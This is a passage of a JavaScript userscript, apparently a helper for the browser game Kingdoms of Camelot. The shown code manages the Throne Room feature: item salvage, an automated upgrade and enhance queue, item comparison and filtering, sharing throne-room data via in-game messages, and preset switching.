			if (ThroneOptions.Salvage_fav[k]) document.getElementById('SalvageFAV' + k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA6lJREFUeNq0VdtLFFEc/mZmXfO2FnaxC8XGhmFZRjeCgiDqJXoIeqkoCIQICnos7Km/oKinQAgCX3qIHoIg6ClQhMguCJa6XrKsLTPNdtu5nL7fnDPuaqv71GG+OTNzzvl+999Y6vVq/DMswubN4VxBfAqAnLoMhVYE6jo2OBk4XPcVsP0Llhox+CXIraLnGZJMqwOwcSf85iOOr8F5rKH0wEK5YYebIqhotvWz4CsFeGhH9XJg514KsM5gGk3IFWuylACfZIFTgJLZ1kJ+k+AndiNvHcemJiDPb3aVA9e6hozS+8oKkMuytM9Dv9vaiiwxoUTjdlTWkhwaTdtl/RxmkMJsWX7GIMt7lkH0hAx65oUg9HcLcRKpZpIrfUIUsCsd+Pl2jPsXylvwiaw/ldbYjfxvb6SWB6n9LcRrJAZci8A9zTvEsnOM0VE8XJdaSoClHqzbB6VO0T1JxiwZpqJigkoK1tYDyS20RmnApG+MGElTse8I01XHuo/nxrkvTYVeYKXTiRNjvqUeb/yN76hCXQJIEKtW6tAIoa/mk4cqGUInipm8cH1ykinNoExNA/EcuZyLOD58L8YMmUBdLInGzZowDFygyZSBMKqi2pirl7kNFMQ0TtDihhVMjgG6nNaEqrrWEbj+KD72ac2zSqoW+GOyxjWx8Qyid1mTPbJXzsh7QO3GBmX9Ck4NPzEC7DRxCPlgAMPvqAl7g2treGUQCuMsteSRfHxE3i/idPpuIYukePL2KHGIB/rw7pU5WKT9YsibefIHyUeFpw3nB+/NT9PCgQniMNO1F0NjBZeUg9RH/4jPsxfQ9qHj3zrw5mmVoT9v4PM344Yy5OKaAbolh0e49P5+6Ur2rELGyMixkflR08P8NSzIJBk1zJzMVGqJZsfm5psm54eBa0F1AqEQz8TCMwi/mYr2jBL1DVL5zbi5NV5aQHjQEOTD1tyMBHPZVYX+VBED1lLTtWx6Ncs0sazJHsvR/4hs0FTaRW6RvTmakacA6f3yPc7DDexF75m+/TOyQ1pjFfbtZ5ugGbN/tPukBmzVwvvb0j+cyAKbFR1zalFdTeI6lj5/hz3dLP9fz7lvD7GBuI3uniz63wCNtKqqkhbSO/FY6yIuijIi/IMlUc8DPovmZQ/wOdPL78eII8RLYpK4SmyBG3Sgq9vHcD+QWi9uTC3yyzStR6OLeIrBoV7OZ4ldxLMFewTsmmgjtmE224mJL2k+d5Ru10rhfw4b/3n8FWAAwna8wfz7wJUAAAAASUVORK5CYII="/>';
			else document.getElementById('SalvageFAV' + k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAADAFBMVEX////4+Pj7+/v39/f5+fn6+vr29vby8vL09PTz8/P+/v78/Pzd3d3Nzc3v7++tra3r6+v9/f3n5+fs7Ozt7e24uLjQ0NDx8fHV1dXo6OjJycnl5eXc3NyoqKje3t7Hx8fS0tK+vr66urrZ2dnw8PDMzMzq6urFxcW5ubnk5OTj4+Pi4uLR0dGwsLDBwcG1tbXb29vLy8vu7u7Dw8P19fXKysrY2Ni3t7ekpKSrq6u0tLTh4eHm5ubW1tanp6eenp7p6emsrKyurq7a2trCwsLPz8/AwMC9vb28vLzf39+zs7PT09PX19f///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUISnwAAABI0lEQVR4nG2Rh26DMBCGzzmwCXuHBLL33t1tujfv/zqFhjhRyydZ8t0n6+6XIeZEXXIsYuA3R+1sc8UWQC3lCLcGQJY5okIBoM3+CT15AIDaH7Exb0kqICxLB+FMvtof9kqEPcXe9VPg1+QY5r2sJ8tyJgt65TuGxzIqaduyFMWyUqcIrK7F0BzYlAgFjkBIyb80Y6Bv5zeUiKf9F2OcboWv8+GGiBmIumaM9usKM+8ehQzKGsbwkEPwIiQZaHrhMWBfJYg0ARHd1knylk2o9AsltG+dCFcqJrDkSOibXMjNFWP6aLJcOIyxoMGFXmGdUDM+B9WZ6rLonYvF89ifTrsl8cyrrtXA4KK8qz7UnbQiwdXdRZMLRavbh/+RGuvj8Fx+AKn1YdcNFlXFAAAAAElFTkSuQmCC" />';
		}
		t.saveSalvageOptions();
	},
	setSalvageItem: function (what) {
		var t = Tabs.Throne;
		if (!unsafeWindow.kocThroneItems[what]) {
			t.FillEquipCheckboxes(true);
			alert('Item has already been deleted');
			return;
		}
		var answer = confirm("Are you sure you want to delete: " + unsafeWindow.kocThroneItems[what].name);
		if (answer) {
			var cityid = 0;
			for (var k in Cities.byID) {
				if (Seed.resources["city" + k]["rec5"][0] < 1000000) {
					cityid = k;
					break;
				}
			}
			if (cityid == 0) cityid = Seed.cities[0][0];
			var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
			params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
			params.action = 'salvage';
			params.itemId = what;
			params.cityId = cityid;
			new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
				method: "post",
				parameters: params,
				loading: true,
				onSuccess: function (transport) {
					var rslt = eval("(" + transport.responseText + ")");
					if (rslt.ok) {
						unsafeWindow.kocThroneItems[params.itemId].salvage();
						t.FillEquipCheckboxes(true);
					}
				},
				onFailure: function () {
					return;
				},
			});
		}
	},
	Upgrade_Enhance: function () {
		var t = Tabs.Throne;
		try {
			var m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED UPGRADE/ENHANCE/REPAIR FUNCTION</div><TABLE id=pbbarbingfunctions width=100% height=0% class=pbTab><TR align="center">';
			if (ThroneOptions.Active == false) {
				m += '<TD><INPUT id=Enable type=submit value="Queue = OFF"></td>';
			} else {
				m += '<TD><INPUT id=Enable type=submit value="Queue = ON"></td>';
			}
			m += '<TD><INPUT id=ShowHistory type=submit value="History"></td></table>';
			m += '<table><tr><INPUT id=pbUseTokens type=checkbox ' + (ThroneOptions.UseTokens ? 'CHECKED ' : '') + '/>&nbsp;Use Tokens/Stones when available</tr>';
			m += '<tr><br>Will use Protection Stone/Lesser Protection stone for Enhance';
			m += ' <INPUT id=pbUseMO type=checkbox ' + (ThroneOptions.UseMO ? 'CHECKED ' : '') + '/> Also use Mystic Orb/Lesser Mystic Orb</tr>';
			m += '<tr><br>Will use Lesser Lucky Token for Upgrade';
			m += ' <INPUT id=pbUseLT type=checkbox ' + (ThroneOptions.UseLT ? 'CHECKED ' : '') + '/> Also use Lucky Tokens</tr>';
			m += '</table>';
			m += '<DIV id=pbTowrtDivF class=pbStat>ADD UPGRADE OR ENHANCE TO QUEUE</div><TABLE class=ptTab><br/>';
			m += '<TR><TD>Throne items:</td><TD><SELECT id=ThroneItems type=list></select></td>';
			m += '<TD><INPUT id=addEnhance type=submit value="Enhance"></td>';
			m += '<TD><INPUT id=addUpgrade type=submit value="Upgrade"></td>';
			m += '<TD><DIV id=ShowHoover></div></td>';
			m += '</tr></table><br/>';
			m += '<DIV id=pbTowrtDivF class=pbStat>STATUS</div>';
			m += '<br/><DIV id=ShowStatus></div></p>';
			m += '<DIV id=ShowTries></div><br/>';
			m += '<DIV id=ShowStones></div><br/>';
			m += '<DIV id=pbTowrtDivF class=pbStat>UPGRADE INFO</div>';
			m += '<br/><DIV id=ShowInfo></div><br/>';
			m += '<DIV id=pbTowrtDivF class=pbStat>QUEUE</div>';
			m += '<br/><DIV id=ShowQueueDiv></div>';
			t.Overv.innerHTML = m;
			document.getElementById('ThroneItems').options.length = 0;
			for (i in unsafeWindow.kocThroneItems) {
				var o = document.createElement("option");
				o.text = unsafeWindow.kocThroneItems[i]["name"] + ' [' + unsafeWindow.kocThroneItems[i]["id"] + ']';
				o.value = unsafeWindow.kocThroneItems[i]["id"];
				document.getElementById("ThroneItems").options.add(o);
			}
			document.getElementById('addEnhance').addEventListener('click', function () {
				t.addToQueue(document.getElementById('ThroneItems').value, "Enhance");
			}, false);
			document.getElementById('addUpgrade').addEventListener('click', function () {
				t.addToQueue(document.getElementById('ThroneItems').value, "Upgrade");
			}, false);
			document.getElementById('ThroneItems').addEventListener('change', function () {
				t.paintHoover();
			}, false);
			document.getElementById('pbUseTokens').addEventListener('change', function () {
				ThroneOptions.UseTokens = document.getElementById('pbUseTokens').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('pbUseMO').addEventListener('change', function () {
				ThroneOptions.UseMO = document.getElementById('pbUseMO').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('pbUseLT').addEventListener('change', function () {
				ThroneOptions.UseLT = document.getElementById('pbUseLT').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Enable').addEventListener('click', function () {
				t.toggleThroneState()
			}, false);
			document.getElementById('ShowHistory').addEventListener('click', function () {
				t.PaintHistory()
			}, false);
			if (ThroneOptions.Items.length == 0) document.getElementById('ShowStatus').innerHTML = "No items in queue!!";
			else {
				if (ThroneOptions.Active && Seed.queue_throne.end == undefined) document.getElementById('ShowStatus').innerHTML = "Waiting for timer...";
				if (ThroneOptions.Active && Seed.queue_throne.end != undefined) t.setRepairTimer = setInterval(t.repairTimerUpdate, 1000);
				if (!ThroneOptions.Active && Seed.queue_throne.end != undefined) t.setRepairTimer = setInterval(t.repairTimerUpdate, 1000);
				if (!ThroneOptions.Active && Seed.queue_throne.end == undefined) document.getElementById('ShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
			}
			if (ThroneOptions.Tries > 0) document.getElementById('ShowTries').innerHTML = "Tries: " + ThroneOptions.Tries + "<br />Good requests: " + ThroneOptions.Good + "   Bad requests: " + ThroneOptions.Bad;
			else document.getElementById('ShowTries').innerHTML = "Tries: --";
			if (ThroneOptions.Items.length > 0) {
				t.paintInfo();
				t.paintStones();
				t.PaintQueue();
			}
		} catch (e) {
			t.Overv.innerHTML = '<PRE>' + e.name + ' : ' + e.message + '</pre>';
		}
		setInterval(t.paintStones, 30000);
	},
	Compare: function () {
		var t = Tabs.Throne;
		var amount = 0;
		var AdvisorCount = 0;
		var BannerCount = 0;
		var ChairCount = 0;
		var TableCount = 0;
		var TrophyCount = 0;
		var WindowCount = 0;
		var CandelCount = 0;
		var HeroCount = 0;
		var StatueCount = 0;
		var PetCount = 0;
		var TapestryCount = 0;
		var counter = 0;
		var arr = unsafeWindow.kocThroneItems
		var ActiveItems = 240;
		for (k in arr) {
			counter++;
			z = arr[k];
			if (z.type == "advisor") AdvisorCount++;
			if (z.type == "banner") BannerCount++;
			if (z.type == "chair") ChairCount++;
			if (z.type == "trophy") TrophyCount++;
			if (z.type == "table") TableCount++;
			if (z.type == "window") WindowCount++;
			if (z.type == "candelabrum") CandelCount++;
			if (z.type == "hero") HeroCount++;
			if (z.type == "statue") StatueCount++;
			if (z.type == "pet") PetCount++;
			if (z.type == "tapestry") TapestryCount++;
		}
		try {
			var m = '<DIV id=compElse class=pbStat>Compare Someone Else\'s TR</div><br>';
			m += '<TD><CENTER>Paste someone else\'s TR code in this box, and tick the checkbox to compare their Throne Room. If there is nothing in the text box, your own Throne will be compared, even if the box is ticked.<INPUT type=text value="" id=pbCompElseTR></input><INPUT type=checkbox id=compElseTr></input></center>';
			m += '<DIV id=compElse2 class=pbStat>Send your TR Code for comparison by someone else</div><br>';
			m += '<TD><CENTER>Click this "Get TR Code" button to generate the code to send to someone else for them to inspect your TR. Once the text box is filled, you can either copy and paste it all directly to the person you want to view, or click the "Send in Message" button after filling player name in the "Send message to" box.</td></center>';
			m += '<TD><CENTER><INPUT type=text value="" id=displayTR readonly=true></input><INPUT id=populatebox type=submit value="Get TR Code"></input><INPUT id=clearTRArray type=submit value="Clear"></input></center>';
			m += '<TD><CENTER><DIV id=apearMessageReceipt></div><DIV id=dispResult></div></td>';
			m += '<DIV id=pbTowrtDivF class=pbStat>Compare Throne Items</div><br><TABLE id=pbCompareStats width=100% height=0% class=pbTab>';
			m += '<TD>Advisor: <DIV id=advisorCount></div></td><TD>Banner:<DIV id=bannerCount></div></td><TD>Throne :<DIV id=chairCount></div></td><TD>Table: <DIV id=tableCount></div></td><TD>Trophy:<DIV id=trophyCount></div></td><TD>Window: <DIV id=windowCount></div></td><TD>Candelabrum: <DIV id=candelCount></div></td><TD>Hero: <DIV id=heroCount></div></td><TD>Statue: <DIV id=statueCount></div></td><TD>Pet: <DIV id=petCount></div></td><TD>Tapestry: <DIV id=tapestryCount></div></td></table><br>';
			m += '<DIV id=pbThroneMain class=pbStat>Compare Throne Items</div><br>';
			m += '<TABLE id=pbCompareStats width=100% height=0% class=pbTab><TD>Card Type: <SELECT id=type type=list></select></td><TD>Card Family: <SELECT id=family type=list></select></td><TD>Effect: <SELECT id=effect type=list></select></td></tr><TR><TD>Keyword: <INPUT type=text id=keyword size=10></td></tr></table>';
			m += '<br><TABLE id=pbbarbingfunctions width=100% height=0% class=pbTab><TR>';
			for (i = 1; i <= ActiveItems; i++) { //240 = total num TR rows.
				m += '<TD><DIV id=DIV' + i + '></div></td>';
				if (i % 3 == 0) m += '</tr><TR></tr><TR>';
			}
			m += "</tr></table>"
			t.Overv.innerHTML = m;
			document.getElementById('advisorCount').innerHTML = AdvisorCount
			document.getElementById('bannerCount').innerHTML = BannerCount
			document.getElementById('chairCount').innerHTML = ChairCount
			document.getElementById('trophyCount').innerHTML = TrophyCount
			document.getElementById('tableCount').innerHTML = TableCount
			document.getElementById('windowCount').innerHTML = WindowCount
			document.getElementById('candelCount').innerHTML = CandelCount
			document.getElementById('heroCount').innerHTML = HeroCount
			document.getElementById('statueCount').innerHTML = StatueCount
			document.getElementById('petCount').innerHTML = PetCount
			document.getElementById('tapestryCount').innerHTML = TapestryCount
			AdvisorCount = 0;
			BannerCount = 0;
			TableCount = 0;
			ChairCount = 0;
			TrophyCount = 0;
			WindowCount = 0;
			CandelCount = 0;
			HeroCount = 0;
			StatueCount = 0;
			PetCount = 0;
			TapestryCount = 0;
			document.getElementById('populatebox').addEventListener('click', function () {
				document.getElementById('displayTR').value = JSON2.stringify(unsafeWindow.kocThroneItems)
				document.getElementById('apearMessageReceipt').innerHTML = '<TD>Send in message to- <INPUT id=pbMessageTo type=text value=""></input><INPUT id=pbSendMessage type=submit value="Send in Message"></input>';
				document.getElementById('pbSendMessage').addEventListener('click', function () {
					t.sendAsMessage();
				})
			})
			document.getElementById('clearTRArray').addEventListener('click', function () {
				document.getElementById('displayTR').value = "";
				document.getElementById('apearMessageReceipt').innerHTML = "";
				document.getElementById('dispResult').innerHTML = "";
			})
			var arryy = "";
			document.getElementById('compElseTr').addEventListener('change', function () {
				if (this.checked && document.getElementById('pbCompElseTR').value != "") {
					arryy = JSON.parse(document.getElementById('pbCompElseTR').value)
					for (k in arryy) {
						counter++;
						z = arryy[k];
						if (z.type == "advisor") AdvisorCount++;
						if (z.type == "banner") BannerCount++;
						if (z.type == "chair") ChairCount++;
						if (z.type == "trophy") TrophyCount++;
						if (z.type == "table") TableCount++;
						if (z.type == "window") WindowCount++;
						if (z.type == "candelabrum") CandelCount++;
						if (z.type == "hero") HeroCount++;
						if (z.type == "statue") StatueCount++;
						if (z.type == "pet") PetCount++;
						if (z.type == "tapestry") TapestryCount++;
					}
					t.FillEquipCheckboxes(false)
				}
				if (!this.checked || document.getElementById('pbCompElseTR').value == "") {
					var arr = unsafeWindow.kocThroneItems
					for (k in arr) {
						counter++;
						z = arr[k];
						if (z.type == "advisor") AdvisorCount++;
						if (z.type == "banner") BannerCount++;
						if (z.type == "chair") ChairCount++;
						if (z.type == "trophy") TrophyCount++;
						if (z.type == "table") TableCount++;
						if (z.type == "window") WindowCount++;
						if (z.type == "candelabrum") CandelCount++;
						if (z.type == "hero") HeroCount++;
						if (z.type == "statue") StatueCount++;
						if (z.type == "pet") PetCount++;
						if (z.type == "tapestry") TapestryCount++;
					}
					t.FillEquipCheckboxes(true)
				}
				document.getElementById('advisorCount').innerHTML = AdvisorCount
				document.getElementById('bannerCount').innerHTML = BannerCount
				document.getElementById('chairCount').innerHTML = ChairCount
				document.getElementById('trophyCount').innerHTML = TrophyCount
				document.getElementById('tableCount').innerHTML = TableCount
				document.getElementById('windowCount').innerHTML = WindowCount
				document.getElementById('candelCount').innerHTML = CandelCount
				document.getElementById('heroCount').innerHTML = HeroCount
				document.getElementById('statueCount').innerHTML = StatueCount
				document.getElementById('petCount').innerHTML = PetCount
				document.getElementById('tapestryCount').innerHTML = TapestryCount
				AdvisorCount = 0;
				BannerCount = 0;
				TableCount = 0;
				ChairCount = 0;
				TrophyCount = 0;
				WindowCount = 0;
				CandelCount = 0;
				HeroCount = 0;
				StatueCount = 0;
				PetCount = 0;
				TapestryCount = 0;
			})
			document.getElementById("type").options.length = 0;
			for (k in t.EquipType) {
				var y = t.EquipType[k];
				if (typeof (y) == "string") {
					if (y == "Windows") y = "Window";
					what = y.toLowerCase();
					if (y == "Chair") y = "Throne";
					var o = document.createElement("option");
					o.text = y;
					o.value = what;
					document.getElementById("type").options.add(o);
				}
			}
			document.getElementById("family").options.length = 0;
			for (k in t.CardTypes) {
				var y = t.CardTypes[k];
				if (typeof (y) == "string") {
					var o = document.createElement("option");
					o.text = y;
					o.value = y;
					document.getElementById("family").options.add(o);
				}
			}
			document.getElementById("effect").options.length = 0;
			var o = document.createElement("option");
			o.text = "ALL";
			o.value = "ALL";
			document.getElementById("effect").options.add(o);
			for (k in unsafeWindow.cm.thronestats.effects) {
				var y = unsafeWindow.cm.thronestats.effects[k][1];
				if (typeof (y) == "string") {
					var o = document.createElement("option");
					o.text = unsafeWindow.cm.thronestats.effects[k][1];
					o.value = k;
					document.getElementById("effect").options.add(o);
				}
			}
			document.getElementById("type").addEventListener('change', function () {
				t.FillEquipCheckboxes(false);
			}, false);
			document.getElementById("family").addEventListener('change', function () {
				t.FillEquipCheckboxes(false);
			}, false);
			document.getElementById("effect").addEventListener('change', function () {
				t.FillEquipCheckboxes(false);
			}, false);
			document.getElementById("keyword").addEventListener('change', function () {
				t.FillEquipCheckboxes(false);
			}, false);
			document.getElementById('keyword').addEventListener('keyup', function () {
				t.FillEquipCheckboxes(false);
			}, false);
		} catch (e) {
			t.Overv.innerHTML = '<PRE>' + e.name + ' : ' + e.message + '</pre>';
		}
		t.FillEquipCheckboxes(true);
	},
	sendAsMessage: function () {
		var t = Tabs.Throne;
		if (document.getElementById('displayTR').value != "" && document.getElementById('pbMessageTo').value != "") {
			document.getElementById('dispResult').innerHTML = "Sending Message..."
			var mess = document.getElementById('displayTR').value;
			var recipient = document.getElementById('pbMessageTo').value;
			var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
			params.emailTo = recipient;
			params.subject = 'TR Code. Copy and paste ONLY the message EXACTLY into "Compare" box.';
			params.message = mess;
			params.requestType = "COMPOSED_MAIL";
			new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
				method: "post",
				parameters: params,
				onSuccess: function (message) {
					var rslt = eval("(" + message.responseText + ")");
					if (rslt.ok) {
						document.getElementById('dispResult').innerHTML = 'Message Sent OK to - ' + recipient + '...'
					} else {
						unsafeWindow.Modal.showAlert(unsafeWindow.g_js_strings.modal_messages_send.enterexistingname)
						document.getElementById('dispResult').innerHTML = 'Message FAILED to - ' + recipient + '... not a valid user.'
					}
				},
				onFailure: function () {
					unsafeWindow.Modal.showAlert(g_js_strings.modal_messages_send.oopscompose)
				}
			})
		} else {
			document.getElementById('dispResult').innerHTML = "Enter a recipient first."
		}
	},
	togOpt: function (checkboxId, optionName, callOnChange) {
		var t = Tabs.Throne;
		var checkbox = document.getElementById(checkboxId);
		if (Options[optionName])
			checkbox.checked = true;
		checkbox.addEventListener('change', eventHandler, false);

		function eventHandler() {
			Options[optionName] = this.checked;
			saveOptions();
			if (callOnChange)
				callOnChange(this.checked);
		}
	},
	changeOpt: function (valueId, optionName, callOnChange) {
		var t = Tabs.Throne;
		var e = document.getElementById(valueId);
		e.value = Options[optionName];
		e.addEventListener('change', eventHandler, false);

		function eventHandler() {
			Options[optionName] = this.value;
			saveOptions();
			if (callOnChange)
				callOnChange(this.value);
		}
	},
	toggleThroneState: function () {
		var t = Tabs.Throne;
		if (ThroneOptions.Active == true) {
			ThroneOptions.Active = false;
			document.getElementById('Enable').value = "Queue = OFF";
			saveThroneOptions();
			clearTimeout(t.setActionTimer);
			if (Seed.queue_throne.end == undefined) document.getElementById('ShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
		} else {
			ThroneOptions.Active = true;
			document.getElementById('Enable').value = "Queue = ON";
			saveThroneOptions();
			t.setActionTimer = setInterval(t.doAction, 10000);
			document.getElementById('ShowStatus').innerHTML = "Waiting for timer...";
		}
	},
	_addTab: function (id, name, qualityfrom, qualityto, levelfrom, levelto, action, active, cost) {
		var t = Tabs.Throne;
		var a = "";
		var b = "";
		var unique = false;
		if ((typeof (unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]]) == 'object') && (unsafeWindow.kocThroneItems[ThroneOptions.Items[id]["id"]].unique != 0)) {
			unique = true;
		}
		switch (qualityfrom) {
		case 0:
			a = unsafeWindow.g_js_strings.throneRoom.simple;
			break;
		case 1:
			a = unsafeWindow.g_js_strings.throneRoom.common;
			break;
		case 2:
			a = unsafeWindow.g_js_strings.throneRoom.uncommon;
			break;
		case 3:
			a = unsafeWindow.g_js_strings.throneRoom.rare;
			break;
		case 4:
			a = unsafeWindow.g_js_strings.throneRoom.epic;
			break;
		case 5:
			a = unsafeWindow.g_js_strings.throneRoom.wondrous;
			break;
		case 6:
			if (unique) { a = unsafeWindow.g_js_strings.throneRoom.unique; }
			else {a = unsafeWindow.g_js_strings.throneRoom.miraculous; }
			break;
		default:
			a = unsafeWindow.g_js_strings.throneRoom.simple;
			break;
		}
		switch (qualityto) {
		case 0:
			b = unsafeWindow.g_js_strings.throneRoom.simple;
			break;
		case 1:
			b = unsafeWindow.g_js_strings.throneRoom.common;
			break;
		case 2:
			b = unsafeWindow.g_js_strings.throneRoom.uncommon;
			break;
		case 3:
			b = unsafeWindow.g_js_strings.throneRoom.rare;
			break;
		case 4:
			b = unsafeWindow.g_js_strings.throneRoom.epic;
			break;
		case 5:
			b = unsafeWindow.g_js_strings.throneRoom.wondrous;
			break;
		case 6:
			if (unique) { b = unsafeWindow.g_js_strings.throneRoom.unique; }
			else {b = unsafeWindow.g_js_strings.throneRoom.miraculous; }
			break;
		default:
			b = unsafeWindow.g_js_strings.throneRoom.simple;
			break;
		}
		var row = document.getElementById('ShowQueue').insertRow(0);
		row.vAlign = 'top';
		row.style.color = "black";
		row.style.background = "rgb(246,243,236)";
		if (active) row.style.color = "green";
		row.insertCell(0).innerHTML = id + 1;
		row.insertCell(1).innerHTML = name;
		if (action == "Enhance") {
			row.insertCell(2).innerHTML = a + " -> " + b;
			row.insertCell(3).innerHTML = levelfrom;
		}
		if (action == "Upgrade") {
			row.insertCell(2).innerHTML = a;
			row.insertCell(3).innerHTML = levelfrom + " -> " + levelto;
		}
		row.insertCell(4).innerHTML = action;
		row.insertCell(5).innerHTML = cost;
		row.insertCell(6).innerHTML = '<a class="button20" id="queueDelete_' + id + '"><span>Delete</span></a>';
		document.getElementById('queueDelete_' + id).addEventListener('click', function () {
			if (ThroneOptions.Items[id].active == true) ThroneOptions.Tries = 0;
			if (ThroneOptions.Items.length == 0 && ThroneOptions.Active) document.getElementById('ShowStatus').innerHTML = "No items in queue!!";
			if (!ThroneOptions.Active) document.getElementById('ShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
			ThroneOptions.Items.splice(id, 1);
			saveThroneOptions();
			t.checkUpgradeInfo(false);
			t.PaintQueue();
			if (ThroneOptions.Items.length > 0) t.paintInfo();
			else document.getElementById('ShowInfo').innerHTML = "";
		}, false);
	},
	_addTabHeader: function () {
		var t = Tabs.Throne;
		var row = document.getElementById('ShowQueue').insertRow(0);
		row.vAlign = 'top';
		row.style.color = "black";
		row.style.background = "rgb(246,243,236)";
		row.insertCell(0).innerHTML = "Id";
		row.insertCell(1).innerHTML = "Name";
		row.insertCell(2).innerHTML = "Quality";
		row.insertCell(3).innerHTML = "Level";
		row.insertCell(4).innerHTML = "Action";
		row.insertCell(5).innerHTML = "Cost";
		row.insertCell(6).innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
	},
	FillEquipCheckboxes: function (mine) {
		var t = Tabs.Throne;
		var familyCheck = false;
		var typeCheck = false;
		var effectCheck = false;
		var keywordCheck = false;
		var TRtoCompare = unsafeWindow.kocThroneItems;
		var ActiveItems = 240;
		if (!mine && document.getElementById('compElseTr').checked && document.getElementById('pbCompElseTR').value != "") {
			TRtoCompare = JSON.parse(document.getElementById('pbCompElseTR').value)
		}
		for (i = 1; i <= ActiveItems; i++)if (document.getElementById("DIV" + i) != undefined) document.getElementById("DIV"+i).innerHTML = "";
		counter = 0;
		t.CompPos = 0;
		for (k in TRtoCompare) {
			counter++;
			z = TRtoCompare[k];
			familyCheck = false;
			typeCheck = false;
			effectCheck = false;
			keywordCheck = false;
			y = z.effects;
			if (z.type == document.getElementById("type").value || "all" == document.getElementById("type").value) typeCheck = true;
			for (i = 1; i <= 5; i++) {
				effect = unsafeWindow.cm.thronestats['effects'][y['slot' + i].id][2];
				if (effect == document.getElementById("family").value || "ALL" == document.getElementById("family").value) familyCheck = true;
				if (y['slot' + i].id == document.getElementById("effect").value || "ALL" == document.getElementById("effect").value) effectCheck = true;
				var str = String(unsafeWindow.cm.thronestats['effects'][y['slot' + i].id][1]);
				if (str.search(new RegExp(String(document.getElementById("keyword").value), "i")) != -1 || document.getElementById("keyword").value == "") keywordCheck = true;
			}
			if (typeCheck && familyCheck && effectCheck && keywordCheck) {
				t.CompPos++;
				t.paintEquipInfo(z.id, t.CompPos);
			}
		}
	},
	doPreset: function (room, retry) {
		var t = Tabs.Throne;
		actionLog('changing to tr ' + room);
		var div;
		if (isNaN(retry)) retry = 0;
		if (retry > 15) {
			if (document.getElementById('ThroneTRS')) document.getElementById('ThroneTRS').innerHTML = "<font color=red>failed to change throne room..Giving Up</font>";
			return;
		};
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'setPreset';
		params.presetId = room;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					if (document.getElementById('tra' + params.presetId)) {
						for (a = 1; a <= Seed.throne.slotNum; a++)
							document.getElementById('tra' + a).disabled = false;
						document.getElementById('tra' + params.presetId).disabled = true;
					};
					if (document.getElementById('ThroneHUD')) {
						for (a = 1; a <= Seed.throne.slotNum; a++) {
							document.getElementById('htra' + a).disabled = false;
							document.getElementById('htra' + a).className = "pbttabs";
						};
						document.getElementById('htra' + params.presetId).disabled = true;
						document.getElementById('htra' + params.presetId).className = "pbttabsdis";
					};
					t.TTpaint(params.presetId);
					if (document.getElementById('throneInventoryPreset' + params.presetId))
						button = document.getElementById('throneInventoryPreset' + params.presetId);
					else
						button = '<li id="throneInventoryPreset' + params.presetId + '" class="selected">' + params.presetId + '</li>';
					unsafeWindow.cm.ThroneView.clickActivePreset(button);
				} else {
					setTimeout(function () {
						t.doPreset(room, Number(retry + 1))
					}, 3000);
				}
			},
			onFailure: function () {
				setTimeout(function () {
					t.doPreset(room, Number(retry + 1))
				}, 3000);
			},
		});
	},
	fupgenh: function (z) {
		var t = Tabs.Throne;
		document.getElementById("ptmrchSubUE").click()
		document.getElementById("ThroneItems").value = z;
	},
	postInfo: function (z) {
		var y = unsafeWindow.kocThroneItems[z];
		var m = ':::.|' + y.name;
		for (var O in y["effects"]) {
			var i = +(O.split("slot")[1]);
			id = y["effects"]["slot" + i]["id"];
			tier = parseInt(y["effects"]["slot" + i]["tier"]);
			level = y["level"];
			p = unsafeWindow.cm.thronestats.tiers[id][tier];
			while (!p && (tier > 0)) { tier--; p = unsafeWindow.cm.thronestats.tiers[id][tier]; } 
			if (!p) continue; // can't find stats for tier
